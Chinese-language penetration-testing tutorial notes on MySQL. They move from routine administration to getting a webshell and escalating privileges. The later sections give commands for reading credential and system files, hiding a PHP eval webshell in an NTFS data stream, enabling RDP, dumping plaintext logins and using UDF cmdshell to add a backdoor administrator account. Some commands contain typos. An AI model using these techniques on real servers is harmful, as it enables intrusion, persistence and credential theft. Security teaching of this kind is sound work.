4.1 MySQL获取webshell及提权基础
4.1.1 MySQL连接
1. 使用自身客户端工具进行连接
Windows环境
mysql.exe -h localhost -uroot -ppassword
或者
Linux环境
mysql -h localhost -uroot -ppassword
Tips:上面登录过程中密码最好不直接写,输入账户之后按下回车键再输入密码
2. 使用客户端工具Navicat for MySQL进行连接
文件-新建连接 在新建连接得窗口输入连接名,主机名或IP地址,端口,用户名,密码 ,然后测试连接没有问题就可以正常连接
4.1.2 数据库密码操作
mysql 5.7.6以后的版本将原来的password字段修改为authentication_string ,其加密算法还是原来的加密算法,在安全上进行了极大的加强
1. 低于5.7.6版本
mysql -h localhost -u root -p 敲击回车输入密码
use mysql;
update user set password=password("xxxeee") where user=‘root‘;
flush privileges; // 刷新数据库
2. 高于5.7.6版本
update mysql.user set authentication_string=password(‘xxooee‘) where user=‘root‘ and Host=‘localhost‘;
select authentication_string from user;
flush privileges // 刷新数据库
3. 查询密码值
select authentication_string from user;
4.1.3 数据库操作命令
1. 数据库基本操作命令
(1) 显示所有数据库并查询当前使用的数据库
show databases;
select database();
(2) 创建数据库
create database name;
(3) 选择数据库
use databasename;
(4) 直接删除数据库,无提示
drop database name;
(5) 删除数据库前有提示
mysqladmin drop databasename
(6) mysqldump备份数据库
导出整个数据库
mysqldump -u 用户名 -p --default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1)
mysqldump -u root -p root mysql > mysqlbackup20200620.sql
注意:备份的名称最好写有意义的,方便日后识别后数据库出问题及时恢复
导出一个表
mysqldump -u 用户名 -p 数据库名表名 > 导出的文件名
mysqldump -u root -p root mysql users > mysql_users.sql
导出一个数据库结构
mysqldump -u root -p -d --add-drop-table bmfx_member > /tmp/bmfx_db.sql
# -d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table
(7) 恢复数据库
常使用source命令
use bmfx;
source bmfx_db.sql
使用mysqldump命令
mysqldump -u username -p dbname < filename.sql
使用mysql命令
mysql -u username -p -D dbname < filename.sql
2. 操作表相关命令
(1) 使用mysql数据库
use mysql;
(2) 显示mysql库里面的所有表
show tables;
(3) 显示具体的表结构
describe mysql.user;
show columns from mysql.user;
desc mysql.user
(4) 创建表
create table mybmfx(
id int(4) not null primary key auto_increment,
name char(20) not null,
sex int(4) not null default ‘0‘,
degree double(18,2));
(5) 删除表
drop table <表名>;
删除表,执行后将直接删除该数据库中的表,执行该命令一定要谨慎,MyISAM类型的表删除后无法恢复,Innodb表还有可能恢复
drop mybmfx;
(6) 插入数据
INSERT INTO insert_table (datetime, uid, content, type)
VALUES (‘1’, ‘userid_1’, ‘content_1’, 1);
https://www.runoob.com/mysql/mysql-insert-query.html
(7) 查询表中的数据
select * from tablename;
查询前几行的数据
select * from tablename order by id limit 0, n;
(8) 删除表中的数据
delete from tablename where expr = value; // 删除满足某一个条件的值
delete from bmfx; //删除表中的所有数据
(9) 修改表中的数据
update 表名 set 字段=新值, .... where 条件
(10) 在表中增加字段
alter table 表名 add字段类型其他:
(11) 更改表名
rename table 原表名 to 新表名
(12) 用文本方式将数据装入数据库表中(如: /opt/data/mysql.txt)
load data local infile "/opt/data/mysql.txt" into table mybmfx;
3. 常用得内置函数
select system_user(); 查看系统用户
select current_user(); 查询当前用户
select user(); 查询用户
select version(); 查询数据库版本
select database(); 查询当前连接得数据库
select @@version_compile_os; 查询当前操作系统
select now(); 显示当前时间
4.1.4 MySQL提权必备条件
1. 服务器安装MySQL数据库
利用MySQL提权的前提就是服务器安装了MySQL数据库,且MySQL的服务没有降权,MySQL数据库默认安装以系统权限继承的,并且需要获取MySQL的账号和密码
2. 判断MySQL服务运行权限
(1) 通过查看系统账号,比如:net user 如果是mysql类的账号 ,则有可能降权了
(2) 通过查看mysqld运行的Priority值,如果mysqld的Priority值也为8那么mysql就是以system权限运行
(3) 查看端口是否可外联,一般情况下是不允许root账号外联的
4.1.5 MySQL密码获取与破解
1. 获取网站数据库账号和密码
(1) 对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码,查看各种默认配置文件;
(2) 对于Linux操作系统,除了上面的方法之外,还可以查看 /root/.mysql_history , /root/.bash_history
2. 获取MySQL数据库user表
一般是在数据库的安装目录下,有个data目录,里面还哪有3个文件 user.frm, user.myd和user.myi, mysql数据库用户密码都是保存在user.myd文件中,包括其他用户的密码也在里面,在有权限的情况下将这3个文件导出到本地,通过本地的mysql环境读取user表中的数据,也可以通过文本编辑器将user.myd打开,将root账号密码丢到cmd5破解
3. MySQL密码查询
通过以下查询语句直接查询MySQL数据库中的所有用户和密码
select user,password from mysql.user;
select user,password from mysql.user where user = ‘root‘;
4. MySQL密码加密算法
根据加密算法来识别账号密码
select password(‘123456‘), concat(‘*‘, sha1(unhex(sha1(‘123456‘))));
4.1.6 MySQL获取webshell
1. 知道站点的物理路径
2. 有足够大的权限
3. magic_quotes_gpc()=off 不转义
4. 高版本的MySQL新加的特性是限制文件写入,对于参数是 secure_file_priv
4. 直接导出webshell或者创建表导出webshell
5. Windows 2008环境下使用SQLTOOLS工具写webshell
参考:https://www.cnblogs.com/hackxf/p/8975501.html
4.1.7 MySQL渗透技巧总结
1. 常见的有助于渗透到MySQL的函数
database(), user(), system_user(), session_user(), current_user(), load_file()
(1) 一些常见的系统配置文件如下:
https://www.jozxing.cc/archives/387
(2) 直接读取配置文件
select load_file(‘/etc/password‘)
select load_file(‘/etc/issues‘)
select load_file(‘/etc/rc.local‘)
select load_file(‘/usr/local/apache/conf/httpd.conf‘)
select load_file(‘/etc/nginx/nginx.conf‘)
(3) Linux下通过load_file 函数出来的数据库可能是hex编码,如果需要正常查看,就需要使用Notepad++将以上代码全部选中,然后选择插件"Converter
" --> "Hex-ASCII" 进行转换
2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏webshell
NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等操作
(1) MySQL创建目录
MySQL 版本较高的情况下自定义函数的dll或者so文件要放在MySQL目录下的lib\plugin下面,一般普通的脚本是没有在这个文件夹下创建文件夹权限的,那么这里可以用ADS来突破:
select ‘xxsswwoo‘ into oufile ‘F:\\mysql\\lib::$INDEX_ALLOCATION‘;
此时会在MySQL目录下生成一个lib目录,这样就可以将UDF放在这个插件目录下了。
(2) 隐藏webshell
在服务器上echo一个数据流文件进去,如index.php 是网页正常文件,执行命令:
echo ^<?php @eval(request[xxssoo])? ^>> index.php;a.jpg
3. 有用的一些技巧
(1) 3389端口命令行下获取总结
netstat -ano | findstr 3389 或者 netstat -ano | find "3389"
tasklit /svc | find "TermService" 查看TermService对应的pid号是3352
netstat -ano | find 3352
(2) Windows 2008 Server命令开启3389端口
wmic /namespace:\root\cimv2\terminalservices path
win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path
win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
参考:
https://www.zhihu.com/question/58674236/answer/161702330
https://www.jianshu.com/p/8e7d2f78f5e1
(3) wce64 -w 命令直接获取系统明文登录密码
(4) 在phpinfo中查找script_filename关键字获取真实路径
(5) Linux终端提示符下查看MySQL有关信息
ps -ef | grep mysql
(6) Linux下启动Mysql服务
/etc/init.d/mysqld start
(7) Linux下查看是mysqld是否启动
ps -ef | grep mysqld
(8) 查看mysql在哪里
whereis mysql
(9) 查看运行文件所在的路径
which mysql
(10) udf.dll提权常见函数
cmdshell : 执行cmd
downloader : 下载者
open3389 : 通用开3389程序
backshell : 反弹shell
ProcessView : 列举系统进程
KillProcess : 终止指定进程
regread : 读注册表
regwrite : 写注册表
shut : 关机,注销,重启
about: 说明与帮助函数
示例:
select cmdshell(‘net user bmfx bmfx1234!@#@ /add‘);
select cmdshell(‘net localgroup administrators bmfx /add‘);
select cmdshell(‘regedit /s d:/web3389.reg‘);
select cmdshell(‘netstat -ano‘);